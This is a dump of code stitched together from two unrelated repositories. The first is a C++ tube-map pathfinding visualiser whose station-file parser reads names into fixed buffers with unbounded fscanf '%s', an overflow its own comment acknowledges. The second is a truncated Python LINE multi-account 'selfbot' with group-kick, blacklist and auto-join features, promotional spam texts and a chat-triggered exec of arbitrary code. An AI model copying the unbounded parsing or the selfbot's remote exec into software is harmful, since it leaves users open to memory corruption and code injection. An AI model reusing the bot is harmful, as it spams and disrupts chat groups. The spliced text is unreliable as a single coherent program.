drawLinks(&station);
i++;
}
nvgResetTransform(vg);
}
void finishDfs() {
delete currRoutine;
currRoutine = nullptr;
std::vector<int> route;
for (auto& station : map->stations) {
station.visited = false;
}
//for (auto name : dfsState->bestRoute) {
// int stationIndex = map->getStationIndex(name);
// route.push_back(stationIndex);
// map->stations[stationIndex].visited = true;
//}
for (size_t i = 1; i < route.size(); i++) {
linkInRoute[route[i - 1]][route[i]] = true;
}
}
int stepsPerFrame = 1;
void eventLoop() {
auto start = SDL_GetPerformanceCounter();
auto perfFreq = SDL_GetPerformanceFrequency();
while (1) {
auto curr = SDL_GetPerformanceCounter();
auto deltaTime = (double)(curr - start) / perfFreq;
start = curr;
SDL_Event evt;
int mx, my;
uint32_t mButtons = SDL_GetMouseState(&mx, &my);
while (SDL_PollEvent(&evt)) {
if (evt.type == SDL_QUIT) {
return;
}
if (evt.type == SDL_KEYDOWN) {
if (evt.key.keysym.scancode == SDL_SCANCODE_EQUALS) {
zoom += 0.25f;
}
if (evt.key.keysym.scancode == SDL_SCANCODE_MINUS) {
zoom -= 0.25f;
}
if (evt.key.keysym.scancode == SDL_SCANCODE_R) {
size_t stationIdx = inputStationIndex();
map->reachableStations(stationIdx);
}
if (evt.key.keysym.scancode == SDL_SCANCODE_N && !currRoutine) {
delete dfsState;
dfsState = new BfsState;
size_t from = inputStationIndex();
size_t to = inputStationIndex();
for (auto& station : map->stations) {
station.time = 10000;
station.visited = false;
station.distanceToEnd = station.distanceTo(map->stations[to]);
}
map->stations[from].time = 0;
for (size_t i = 0; i < map->stations.size(); i++) {
for (size_t j = 0; j < map->stations.size(); j++) {
linkInRoute[i][j] = false;
}
}
currRoutine = new BfsRoutine(*map, *dfsState, &map->stations[from], &map->stations[to]);
}
if (evt.key.keysym.scancode == SDL_SCANCODE_RETURN) {
while (currRoutine->step()) {}
finishDfs();
}
if (evt.key.keysym.scancode == SDL_SCANCODE_F) {
stepsPerFrame++;
}
if (evt.key.keysym.scancode == SDL_SCANCODE_S) {
stepsPerFrame--;
}
}
}
for (int i = 0; i < stepsPerFrame; i++) {
if (currRoutine) {
bool result = currRoutine->step();
if (!result) {
finishDfs();
}
}
}
if (stepsPerFrame < 0 && currRoutine) {
static int frameCounter = 0;
frameCounter++;
if (frameCounter >= -stepsPerFrame) {
bool result = currRoutine->step();
if (!result) finishDfs();
frameCounter = 0;
}
}
int x, y;
SDL_GetWindowSize(window, &x, &y);
width = x;
height = y;
static uint8_t lastKeyboardState[285];
const Uint8* keyboardState = SDL_GetKeyboardState(nullptr);
if (keyboardState[SDL_SCANCODE_SPACE] || mButtons & SDL_BUTTON(SDL_BUTTON_RIGHT)) {
offsetX += (mx - lastMX) / zoom;
offsetY += (my - lastMY) / zoom;
}
memcpy(lastKeyboardState, keyboardState, 285);
lastMX = mx;
lastMY = my;
glViewport(0, 0, x, y);
glClearColor(0.1f, 0.1f, 0.1f, 1.0f);
glClear(GL_COLOR_BUFFER_BIT);
nvgBeginFrame(vg, x, y, 1.0f);
nvgStrokeWidth(vg, 2.5f / zoom);
drawStationsAndLinks();
drawStationLabels();
nvgFillColor(vg, nvgRGBA(255, 255, 255, 127));
nvgFontSize(vg, 20.0f);
nvgText(vg, 10.0f, 20.0f, (std::to_string(deltaTime * 1000.0) + " ms").c_str(), nullptr);
nvgText(vg, 10.0f, 40.0f, ("steps per frame:" + std::to_string(stepsPerFrame)).c_str(), nullptr);
float yPos = 50.0f;
//if (currRoutine) {
// for (auto& sta : dfsState->stationStack) {
// nvgText(vg, 10.0f, yPos, sta.c_str(), nullptr);
// yPos += 20.0f;
// }
// nvgText(vg, 10.0f, yPos, dfsState->currentStation->name.c_str(), nullptr);
// yPos += 40.0f;
//}
nvgFillColor(vg, nvgRGBA(255, 0, 0, 127));
//for (auto& sta : dfsState->bestRoute) {
// nvgText(vg, 10.0f, yPos, sta.c_str(), nullptr);
// yPos += 20.0f;
//}
nvgEndFrame(vg);
SDL_GL_SwapWindow(window);
}
}
int main(int, char**) {
SDL_Init(SDL_INIT_EVERYTHING);
window = SDL_CreateWindow("Notes", 0, 0, 800, 600, SDL_WINDOW_OPENGL | SDL_WINDOW_RESIZABLE);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MAJOR_VERSION, 3);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_MINOR_VERSION, 3);
SDL_GL_SetAttribute(SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE);
SDL_GL_SetAttribute(SDL_GL_STENCIL_SIZE, 8);
glContext = SDL_GL_CreateContext(window);
SDL_GL_MakeCurrent(window, glContext);
gladLoadGLLoader((GLADloadproc)SDL_GL_GetProcAddress);
glEnable(GL_STENCIL_TEST);
vg = nvgCreateGL3(NVG_ANTIALIAS | NVG_STENCIL_STROKES);
nvgCreateFont(vg, "defaultfont", "default.ttf");
nvgFontFace(vg, "defaultfont");
SDL_GL_SetSwapInterval(1);
map = new Map("tubemap.txt");
linkInRoute.resize(map->stations.size());
for (auto& v : linkInRoute)
v.resize(map->stations.size());
eventLoop();
SDL_DestroyWindow(window);
SDL_Quit();
return 0;
}
<file_sep>#pragma once
#include <vector>
namespace notes {
struct LineVert {
float x, y;
};
}
<file_sep>#include "BfsRoutine.hpp"
BfsRoutine::BfsRoutine(Map& map, BfsState& state, TrainStation* start, TrainStation* end)
: start{start}
, end{end}
, state{state} {
addLinksToQueue(start, 0);
}
bool BfsRoutine::step() {
if (visitNext.size() > 0) {
auto front = visitNext.front();
visitNext.pop_front();
if (front.to->visited) {
return true;
}
int time = front.from->time + front.distance;
state.currentStation = front.to;
if (front.to->time > time) {
front.to->time = time;
if (front.to == end) {
printf("New fastest route requiring %i minutes\n", front.to->time);
} else {
addLinksToQueue(front.to, time);
}
}
return true;
}
return false;
}
void BfsRoutine::addLinksToQueue(TrainStation* station, int time) {
Link* c = station->links;
while (c) {
if (c->to->time > time)
visitNext.push_back(*c);
c = c->next;
}
}
BfsRoutine::~BfsRoutine() {
}
<file_sep>#pragma once
namespace notes {
struct Colour {
Colour() : r(255), g(255), b(255), a(255) {}
Colour(unsigned char r,
unsigned char g,
unsigned char b,
unsigned char a) : r(r), g(g), b(b), a(a) {}
unsigned char r, g, b, a;
};
}
<file_sep>#pragma once
#include <math.h>
#include <string>
struct TrainStation;
struct Link {
TrainStation* to;
TrainStation* from;
Link* next = nullptr;
int line = 0;
int distance = 0;
};
struct TrainStation {
int x, y;
std::string name;
bool visited = false;
int time = 0;
int distanceToEnd;
Link* links = nullptr;
int distanceTo(const TrainStation& other) {
int xDist = other.x - x;
int yDist = other.y - y;
return sqrt((xDist * xDist) + (yDist * yDist));
}
void addLink(TrainStation* to, int distance, int line) {
Link* newLink = new Link {
.to = to,
.from = this,
.line = line,
.distance = distance
};
if (links == nullptr) {
links = newLink;
} else {
Link* end = links;
while (end->next != nullptr) {
end = end->next;
}
end->next = newLink;
}
}
~TrainStation() {
Link* current = links;
while (current) {
Link* old = current;
current = current->next;
delete old;
}
}
};
<file_sep>#pragma once
#include "Map.hpp"
#include <deque>
struct BfsState {
TrainStation* currentStation;
};
class BfsRoutine {
public:
BfsRoutine(Map& map, BfsState& state, TrainStation* start, TrainStation* end);
bool step();
~BfsRoutine();
private:
void addLinksToQueue(TrainStation* station, int time);
std::deque<Link> visitNext;
TrainStation* start;
TrainStation* end;
TrainStation* current;
BfsState& state;
};
<file_sep>#pragma once
#include "LineVert.hpp"
#include <stdio.h>
#include <vector>
#include "Colour.hpp"
// define NVGcontext without including
typedef struct NVGcontext NVGcontext;
namespace notes {
class LineStroke {
public:
LineStroke(Colour colour);
LineStroke();
void draw(NVGcontext* vg);
void addVert(LineVert&& vert);
void drawAABB(NVGcontext* vg);
bool cullAgainstScreen(int sX, int sY, int sWidth, int sHeight);
size_t getVertexCount() { return vertices.size(); }
void serialize(FILE* file);
void deserialize(FILE* file);
private:
float minX, minY;
float maxX, maxY;
std::vector<LineVert> vertices;
Colour colour;
};
}
<file_sep>#include <stdexcept>
#include <stdio.h>
#include <string.h>
#include "Map.hpp"
Map::Map(const char* fileName) {
FILE* f = fopen(fileName, "r");
if (!f) {
fprintf(stderr, "Failed to open station file\n");
throw std::runtime_error("Failed to open station file");
}
int numStations = 0;
fscanf(f, "%i\n", &numStations);
// this is sooooo vulnerable haha
char stationName[256];
memset(stationName, 0, sizeof(stationName));
stations.reserve(numStations);
for (int i = 0; i < numStations; i++) {
TrainStation station;
fscanf(f, "%s %i %i\n", stationName, &station.x, &station.y);
station.name = std::string(stationName);
stations.push_back(station);
}
// parse in link information
while (!feof(f)) {
char nameA[256];
char nameB[256];
int adjVal;
int linVal;
fscanf(f, "%s %s %i %i\n", nameA, nameB, &adjVal, &linVal);
printf("%s -> %s: %i %i\n", nameA, nameB, adjVal, linVal);
size_t idxA = getStationIndex(nameA);
size_t idxB = getStationIndex(nameB);
stations[idxA].addLink(&stations[idxB], adjVal, linVal);
stations[idxB].addLink(&stations[idxA], adjVal, linVal);
}
printf("%i stations\n", numStations);
fclose(f);
}
size_t Map::getStationIndex(std::string name) {
size_t i = 0;
for (auto& s : stations) {
if (s.name == name) {
return i;
}
i++;
}
return INVALID_STATION;
}
void Map::reachableStations(size_t start) {
Link* currLink = nullptr;
while (currLink) {
if (currLink->to) {
printf("%s is reachable from %s\n", currLink->to->name.c_str(), stations[start].name.c_str());
}
}
}
<file_sep>#include "DfsRoutine.hpp"
#include <algorithm>
DfsRoutine::DfsRoutine(Map& map, DfsState& state, TrainStation* start, TrainStation* end)
: start{start}
, end{end}
, map{map}
, state{state} {
// add this routine's station to the stack
state.stationStack.push_back(start->name);
start->visited = true;
Link* currLink = start->links;
while (currLink) {
if (!currLink->to->visited)
toVisit.push_back(currLink);
currLink = currLink->next;
}
std::sort(toVisit.begin(), toVisit.end(), [&](auto& a, auto& b) {
return a->to->distanceToEnd < b->to->distanceToEnd;
});
}
bool DfsRoutine::step() {
// if we've recursed into a child routine, step that instead
if (child) {
if (!child->step()) {
delete child;
child = nullptr;
}
return true;
}
if (i >= toVisit.size()) return false;
Link* nextLink = toVisit[i];
TrainStation* nextStation = nextLink->to;
int time = start->time + nextLink->distance;
if (nextStation->time > time) {
nextStation->time = time;
if (nextStation == end) {
// reached the end with a new fastest route!
// save the current route and print a message about how great we are
state.stationStack.push_back(nextStation->name);
printf("New fastest route requiring %i minutes\n", end->time);
state.bestRoute = state.stationStack;
state.stationStack.pop_back();
} else {
// keep looking
child = new DfsRoutine(map, state, nextStation, end);
}
}
state.currentStation = nextStation;
i++;
// we want to continue if we need to step a child routine
// or if this routine isn't done iterating
return child || i < toVisit.size();
}
DfsRoutine::~DfsRoutine() {
// remove this routine's station from the stack
state.stationStack.pop_back();
start->visited = false;
}
<file_sep>#pragma once
class DijkstraRoutine {
};
<file_sep>#pragma once
#include <vector>
#include "TrainStation.hpp"
const size_t INVALID_STATION = ~(size_t)0;
class Map {
public:
Map(const char* fileName);
std::vector<TrainStation> stations;
size_t getStationIndex(std::string name);
// determines if one station is directly reachable from another
void reachableStations(size_t start);
};
<file_sep>#pragma once
#include "Map.hpp"
struct DfsState {
TrainStation* currentStation;
std::vector<std::string> stationStack;
std::vector<std::string> bestRoute;
};
class DfsRoutine {
public:
DfsRoutine(Map& map, DfsState& state, TrainStation* start, TrainStation* end);
bool step();
~DfsRoutine();
private:
size_t i = 0;
TrainStation* start;
TrainStation* end;
DfsRoutine* child = nullptr;
Map& map;
DfsState& state;
std::vector<Link*> toVisit;
};
| 973dca2060228981da035586b022d15e9f3a6f37 | [
"C++"
] | 13 | C++ | someonesomewheredev/cs-tube-map-task | d29eaa865c1d3f931d378e175a1cecba3c1cea7f | c7ef5846e54926c85c51522147fb44eaf8043eed |
refs/heads/master | <repo_name>pi-module/saml<file_sep>/src/Controller/Front/IndexController.php
<?php
/**
* Pi Engine (http://pialog.org)
*
* @link http://code.pialog.org for the Pi Engine source repository
* @copyright Copyright (c) Pi Engine http://pialog.org
* @license http://pialog.org/license.txt BSD 3-Clause License
*/
namespace Module\Saml\Controller\Front;
use Pi;
use Pi\Mvc\Controller\ActionController;
class IndexController extends ActionController
{
/**
* Do nothing
*
* @return void
*/
public function indexAction()
{
$this->redirect()->toRoute('', array('action' => 'login'));
}
/**
* Endpoint for SSO login
*/
public function loginAction()
{
$urlRedirect = Pi::url($this->params('redirect', Pi::url('www')), true);
$urlTrigger = Pi::service('url')->assemble(
'',
array(
'module' => $this->getModule(),
'controller' => 'index',
'action' => 'trigger',
),
array(
'query' => array(
'redirect' => $urlRedirect,
),
)
);
Pi::service('authentication')->login(array('redirect' => $urlTrigger));
}
/**
* Endpoint for SSO logout
*/
public function logoutAction()
{
$redirect = Pi::url($this->params('redirect', Pi::url('www')), true);
Pi::service('authentication')->logout(array('redirect' => $redirect));
}
public function initAction()
{
Pi::service('log')->mute();
$isAuthenticated = Pi::service('authentication')->getData();
if (!$isAuthenticated) {
$checkUrl = $this->url('', array('action' => 'check'));
$load =<<<EOT
document.write(
"<iframe id='check-sso' src='{$checkUrl}' border='0' frameborder='0' width='0' height='0' style='position:absolute;'></iframe>"
);
EOT;
echo $load;
}
exit;
}
public function checkAction()
{
$isAuthenticated = Pi::service('authentication')->getData();
if (!$isAuthenticated) {
$redirect = $this->url('', array(
'action' => 'check',
'update' =>'yes'
));
Pi::service('authentication')->login(array('redirect' => $redirect));
exit();
}
$update = $this->params('update');
if ($update == 'yes') {
$load =<<<'EOT'
<html><head></head><body>
<script type="text/javascript">top.location.reload();</script>
</body></html>
EOT;
echo $load;
}
exit;
}
/**
* Endpoint for SSO ACS
*/
public function acsAction()
{
$this->canonizeRequest();
//$_SERVER['SCRIPT_NAME'] = $this->url('', array('action' => 'acs')) . 'sid';
//$_SERVER['PATH_INFO'] = '-' . _get('sid');
require_once Pi::path('vendor') . '/simplesamlphp/lib/_autoload.php';
require_once Pi::path('vendor') . '/simplesamlphp/modules/saml/www/sp/saml2-acs.php';
}
/**
* Endpoint for SSO ACS logout
*/
public function acslogoutAction()
{
$this->canonizeRequest();
//$_SERVER['SCRIPT_NAME'] = $this->url('', array('action' => 'acslogout')) . 'sid';
//$_SERVER['PATH_INFO'] = '-' . _get('sid');
require_once Pi::path('vendor') . '/simplesamlphp/lib/_autoload.php';
require_once Pi::path('vendor') . '/simplesamlphp/modules/saml/www/sp/saml2-logout.php';
}
/**
* trigger user-login event
*/
protected function triggerAction()
{
$data = Pi::service('authentication')->getData();
if ($data['id']) {
Pi::service('event')->trigger('user-user_login', array('uid'=>$data['id']));
}
Pi::service('url')->redirect($this->params('redirect'));
}
/**
* Canonize `SCRIPT_NAME` and `PATH_INFO` for SSP URL check
*
* @return void
* @see lib/vendor/simplesamlphp/modules/saml/www/sp/saml2-acs.php
* @see lib/vendor/simplesamlphp/modules/saml/www/sp/saml2-logout.php
*/
protected function canonizeRequest()
{
$requestUri = Pi::service('url')->getRequestUri();
if (($qpos = strpos($requestUri, '?')) !== false) {
$requestUri = substr($requestUri, 0, $qpos);
}
$sourceId = $this->params('sid');
$sidPos = -1 * strlen($sourceId) - 1;
$_SERVER['SCRIPT_NAME'] = substr($requestUri, 0, $sidPos);
$_SERVER['PATH_INFO'] = substr($requestUri, $sidPos);
}
/**
* Test for get data
*/
public function getdataAction()
{
$data = Pi::service('authentication')->getData();
//return $data;
echo json_encode($data);
exit;
}
}<file_sep>/README.md
saml
====
For saml module
| b315a9ad292175a467bd7d91982c7cbe1d4a1f76 | [
"Markdown",
"PHP"
] | 2 | PHP | pi-module/saml | f8852e1533458a8b7365e9d3a5176cb21a65e348 | 18f370b74eaeaa6fa1556331959e6ed13eb0a782 |
refs/heads/master | <repo_name>Namemai/b<file_sep>/akad/python4/cannibal7.py
#CANNIBAL===Version SB
# sᴄʀɪᴘᴇ CANNIBAL KILLER ᴜᴘᴅᴀᴛᴇ 2-11-2019
# ᴛᴇᴀᴍ CANNIBAL KILLER
#ᴊᴀɴɢᴀɴ sᴏᴋ ʙɪsᴀ ɴɢᴇᴅɪᴛ ᴋʟᴏ ɢᴋ ʙɪsᴀ ɴɢᴇᴅɪᴛ
#ᴄʀᴇᴀᴛᴏʀ ʙʏᴇ CANNIBAL
import linepy
from linepy import *
from akad.ttypes import *
from datetime import datetime
import pytz, pafy, time, asyncio, random, multiprocessing, timeit, sys, json, ctypes, codecs, tweepy, threading, glob, re, ast, six, os, subprocess, wikipedia, atexit, urllib, urllib.parse, urllib3, string, tempfile, shutil, unicodedata
from humanfriendly import format_timespan, format_size, format_number, format_length
import html5lib
import requests,json,urllib3
from random import randint
from bs4 import BeautifulSoup
#from gtts import gTTS
from googletrans import Translator
import youtube_dl
from time import sleep
from zalgo_text import zalgo
from threading import Thread,Event
#import requests,uvloop
import wikipedia as wiki
requests.packages.urllib3.disable_warnings()
#loop = uvloop.new_event_loop()
#==============================================================================#
botStart = time.time()
msg_dict = {}
msg_dict1 = {}
#==============[ token 1 ]==============#
cl = LINE("")
cl.log("Auth Token : " + str(cl.authToken))
cl.log("Timeline Token : " + str(cl.tl.channelAccessToken))
ki = LINE("@gmail.com","<PASSWORD>")
ki.log("Auth Token : " + str(ki.authToken))
ki.log("Timeline Token : " + str(ki.tl.channelAccessToken))
kk = LINE("@gmail.com","<PASSWORD>")
kk.log("Auth Token : " + str(kk.authToken))
kk.log("Timeline Token : " + str(kk.tl.channelAccessToken))
kc = LINE("@gmail.com","<PASSWORD>")
kc.log("Auth Token : " + str(kc.authToken))
kc.log("Timeline Token : " + str(kc.tl.channelAccessToken))
ko = LINE("@gmail.com","<PASSWORD>")
ko.log("Auth Token : " + str(ko.authToken))
ko.log("Timeline Token : " + str(ko.tl.channelAccessToken))
jk = LINE("@gmail.com","<PASSWORD>")
jk.log("Auth Token : " + str(jk.authToken))
jk.log("Timeline Token : " + str(jk.tl.channelAccessToken))
sw = LINE("@gmail.com","<PASSWORD>")
sw.log("Auth Token : " + str(sw.authToken))
sw.log("Timeline Token : " + str(sw.tl.channelAccessToken))
#==============[●●●●●●]==============#
print ("=========== ʟᴏɢɪɴ sᴜᴄᴄᴇs ==========")
oepoll = OEPoll(cl)
mid = cl.profile.mid
mid = cl.getProfile().mid
Amid = ki.getProfile().mid
Bmid = kk.getProfile().mid
Cmid = kc.getProfile().mid
Dmid = ko.getProfile().mid
Emid = jk.getProfile().mid
Zmid = sw.getProfile().mid
#===========================================================================================
KAC = [cl,ki,kk,kc,ko,jk]
ABC = [cl,ki,kk,kc,ko,jk]
GHOST = [sw]
Bots = [mid,Amid,Bmid,Cmid,Dmid,Emid]
creator = ["ucc10b6f6bc11284e0aa9b2a2fb16b70c"]
owner = ["ucc<KEY>"]
admin = ["<KEY>"]
staff = ["<KEY>"]
Oleng = admin + staff
protectqr = []
protectkick = []
protectjoin = []
protectinvite = []
protectcancel = []
welcome = []
responsename1 = ki.getProfile().displayName
responsename2 = kk.getProfile().displayName
responsename3 = kc.getProfile().displayName
responsename4 = ko.getProfile().displayName
responsename5 = jk.getProfile().displayName
settings = {
"Picture":False,
"group":{},
"groupPicture":False,
"changePicture":False,
"comment":"╭──────────────────╮\n├🔹ɴᴜᴍᴘᴀɴɢ ᴘʀᴏᴍᴏ ʏᴀ ᴋᴀᴋᴀᴋ \n╰──────────────────╯\n╭──────────────────\n├🔹ʀᴇᴀᴅʏ ʙᴏᴛ ᴘʀᴏᴛᴇᴄᴛ\n├🔹ʀᴏᴏᴍ sᴍᴜʟᴇ / ᴇᴠᴇɴᴛ \n├🔹ʀᴇᴀᴅʏ sʙ ᴏɴʟʏ \n├🔹sʙ ᴏɴʟʏ + ᴀᴊs \n├🔹sʙ + ᴀssɪsᴛ + ᴀᴊs \n├🔹ʟᴏɢɪɴ ᴊs / ʙʏᴘᴀs\n├🔹ɴᴇᴡ ᴘᴇᴍʙᴜᴀᴛᴀɴ sᴄ ʙᴏᴛ \n├🔹ɴᴇᴡ ʙᴇʟᴀᴊᴀʀ ʙᴏᴛ \n├🔹ᴘᴇᴍᴀsᴀɴɢ sʙ ᴋᴇ ᴛᴇᴍᴘʟᴀᴛᴇ\n├🔹ʀᴇᴀᴅʏ ᴀᴋᴜɴ ᴄᴏɪɴ\n├🔹ʀᴇᴀᴅʏ ᴄᴏɪɴ ɢɪғᴛ \n╰────────────────── \n╭─────────────────\n├ line.me/ti/p/~4rman3\n╰─────────────────",
"autoJoinTicket":False,
"userAgent": [
"Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian)",
"Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0",
"Mozilla/5.0 (X11; Linux) Gecko Firefox/5.0",
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 FirePHP/0.5",
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Firefox/5.0",
"Mozilla/5.0 (X11; Linux x86_64) Gecko Firefox/5.0",
"Mozilla/5.0 (X11; Linux ppc; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (X11; Linux AMD64) Gecko Firefox/5.0",
"Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0"
]
}
wait = {
"limit": 1,
"owner":{},
"admin":{},
"addadmin":False,
"delladmin":False,
"staff":{},
"addstaff":False,
"dellstaff":False,
"bots":{},
"addbots":False,
"dellbots":False,
"blacklist":{},
"wblacklist":False,
"dblacklist":False,
"Talkblacklist":{},
"Talkwblacklist":False,
"Talkdblacklist":False,
"talkban":True,
"contact":False,
'autoJoin':True,
'autoAdd':True,
'left':False,
'leaveMsg':True,
'autoLeave':False,
'autoLeave1':False,
"detectMention":False,
"Mentionkick":False,
"welcomeOn":True,
"sticker":False,
"selfbot":True,
"likeOn":False,
'autoBlock':False,
"unsend":True,
"arespon":True,
"mention":"╭──────────────────╮\n├🔹ɴᴜᴍᴘᴀɴɢ ᴘʀᴏᴍᴏ ʏᴀ ᴋᴀᴋᴀᴋ \n╰──────────────────╯\n╭──────────────────\n├🔹ʀᴇᴀᴅʏ ʙᴏᴛ ᴘʀᴏᴛᴇᴄᴛ\n├🔹ʀᴏᴏᴍ sᴍᴜʟᴇ / ᴇᴠᴇɴᴛ \n├🔹ʀᴇᴀᴅʏ sʙ ᴏɴʟʏ \n├🔹sʙ ᴏɴʟʏ + ᴀᴊs \n├🔹sʙ + ᴀssɪsᴛ + ᴀᴊs \n├🔹ʟᴏɢɪɴ ᴊs / ʙʏᴘᴀs / ɴɪɴᴊᴀ\n├🔹ɴᴇᴡ ᴘᴇᴍʙᴜᴀᴛᴀɴ sᴄ ʙᴏᴛ \n├🔹ɴᴇᴡ ʙᴇʟᴀᴊᴀʀ ʙᴏᴛ \n├🔹ᴘᴇᴍᴀsᴀɴɢ sʙ ᴋᴇ ᴛᴇᴍᴘʟᴀᴛᴇ\n├🔹ʀᴇᴀᴅʏ ᴀᴋᴜɴ ᴄᴏɪɴ\n├🔹ʀᴇᴀᴅʏ ᴄᴏɪɴ ɢɪғᴛ \n╰────────────────── \n╭─────────────────\n├ line.me/ti/p/~4rman3\n╰─────────────────",
"Respontag":"Sekali lagi lu tag,gua tampol lu",
"welcome":"Selamat datang & semoga betah n bahagia",
"message":"╭──────────────────╮\n├🔹ᴛᴇʀɪᴍᴀ ᴋᴀsɪʜ sᴜᴅᴀʜ ᴀᴅᴅ \n╰──────────────────╯\n╭──────────────────\n├🔹ʀᴇᴀᴅʏ ʙᴏᴛ ᴘʀᴏᴛᴇᴄᴛ\n├🔹ʀᴏᴏᴍ sᴍᴜʟᴇ / ᴇᴠᴇɴᴛ \n├🔹ʀᴇᴀᴅʏ sʙ ᴏɴʟʏ \n├🔹sʙ ᴏɴʟʏ + ᴀᴊs \n├🔹sʙ + ᴀssɪsᴛ + ᴀᴊs \n├🔹ʟᴏɢɪɴ ᴊs / ʙʏᴘᴀs\n├🔹ɴᴇᴡ ᴘᴇᴍʙᴜᴀᴛᴀɴ sᴄ ʙᴏᴛ \n├🔹ɴᴇᴡ ʙᴇʟᴀᴊᴀʀ ʙᴏᴛ \n├🔹ᴘᴇᴍᴀsᴀɴɢ sʙ ᴋᴇ ᴛᴇᴍᴘʟᴀᴛᴇ\n├🔹ʀᴇᴀᴅʏ ᴀᴋᴜɴ ᴄᴏɪɴ\n├🔹ʀᴇᴀᴅʏ ᴄᴏɪɴ ɢɪғᴛ \n╰────────────────── \n╭─────────────────\n├ line.me/ti/p/~4rman3\n╰─────────────────",
}
read = {
"readPoint":{},
"readMember":{},
"readTime":{},
"ROM":{},
}
cctv = {
"cyduk":{},
"point":{},
"sidermem":{}
}
with open('creator.json', 'r') as fp:
creator = json.load(fp)
with open('owner.json', 'r') as fp:
owner = json.load(fp)
Setbot = codecs.open("setting.json","r","utf-8")
Setmain = json.load(Setbot)
mulai = time.time()
tz = pytz.timezone("Asia/Jakarta")
timeNow = datetime.now(tz=tz)
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
def restartBot():
python = sys.executable
os.execl(python, python, *sys.argv)
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
days, hours = divmod(hours, 24)
return '%02d Hari %02d Jam %02d Menit %02d Detik' % (days, hours, mins, secs)
def runtime(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
days, hours = divmod(hours, 24)
return '%02d Hari %02d Jam %02d Menit %02d Detik' % (days, hours, mins, secs)
def mentionMembers(to, mid):
try:
arrData = ""
textx = "╭──[DAFTAR JONES {}]──\n├ ".format(str(len(mid)))
arr = []
no = 1
for i in mid:
mention = "@x\n"
slen = str(len(textx))
elen = str(len(textx) + len(mention) - 1)
arrData = {'S':slen, 'E':elen, 'M':i}
arr.append(arrData)
textx += mention
if no < len(mid):
no += 1
textx += "├ "
else:
try:
textx += "╰──[CANNIBAL KILLER]──".format(str(cl.getGroup(to).name))
except:
pass
cl.sendMessage(to, textx, {'MENTION': str('{"MENTIONEES":' + json.dumps(arr) + '}')}, 0)
except Exception as error:
cl.sendMessage(to, "[ ɪɴғᴏ ] ᴇʀᴏʀ :\n" + str(error))
def siderMembers(to, mid):
try:
arrData = ""
textx = " ".format(str(len(mid)))
arr = []
no = 1
num = 2
for i in mid:
mention = "@x\n"
slen = str(len(textx))
elen = str(len(textx) + len(mention) - 1)
arrData = {'S':slen, 'E':elen, 'M':i}
arr.append(arrData)
textx += settings["mention"]
if no < len(mid):
no += 1
textx += "%i. " % (num)
num=(num+1)
else:
try:
no = "\n???[ {} ]".format(str(cl.getGroup(to).name))
except:
no = "\n???[ Success ]"
cl.sendMessage(to, textx, {'MENTION': str('{"MENTIONEES":' + json.dumps(arr) + '}')}, 0)
except Exception as error:
cl.sendMessage(to,"sɪ ᴊᴏɴᴇs")
def welcomeMembers(to, mid):
try:
arrData = ""
textx = " ".format(str(len(mid)))
arr = []
no = 1
num = 2
for i in mid:
ginfo = cl.getGroup(to)
mention = "@x\n"
slen = str(len(textx))
elen = str(len(textx) + len(mention) - 1)
arrData = {'S':slen, 'E':elen, 'M':i}
arr.append(arrData)
textx += "welcome"
if no < len(mid):
no += 1
textx += "%i " % (num)
num=(num+1)
else:
try:
no = "\n???[ {} ]".format(str(cl.getGroup(to).name))
except:
no = "\n???[ Success ]"
# client.sendMessage(to, textx)
except Exception as error:
cl.sendMessage(to)
def executeCmd(msg, text, txt, cmd, msg_id, receiver, sender, to, setKey):
if cmd.startswith('ex\n'):
if sender in clientMid:
try:
sep = text.split('\n')
ryn = text.replace(sep[0] + '\n','')
f = open('exec.txt', 'w')
sys.stdout = f
print(' ')
exec(ryn)
print('\n%s' % str(datetime.now()))
f.close()
sys.stdout = sys.__stdout__
with open('exec.txt','r') as r:
txt = r.read()
cl.sendMessage(to, txt)
except Exception as e:
pass
else:
cl.sendMessage(to, 'ᴀᴘᴀʟᴜ !')
elif cmd.startswith('exc\n'):
if sender in clientMid:
sep = text.split('\n')
ryn = text.replace(sep[0] + '\n','')
if 'print' in ryn:
ryn = ryn.replace('print(','cl.sendExecMessage(to,')
exec(ryn)
else:
exec(ryn)
else:
cl.sendMessage(to, 'ᴀᴘᴀʟᴜ !')
def logError(text):
cl.log("[ CANNIBAL KILLER ] {}".format(str(text)))
tz = pytz.timezone("Asia/Makassar")
timeNow = datetime.now(tz=tz)
timeHours = datetime.strftime(timeNow,"(%H:%M)")
day = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday","Friday", "Saturday"]
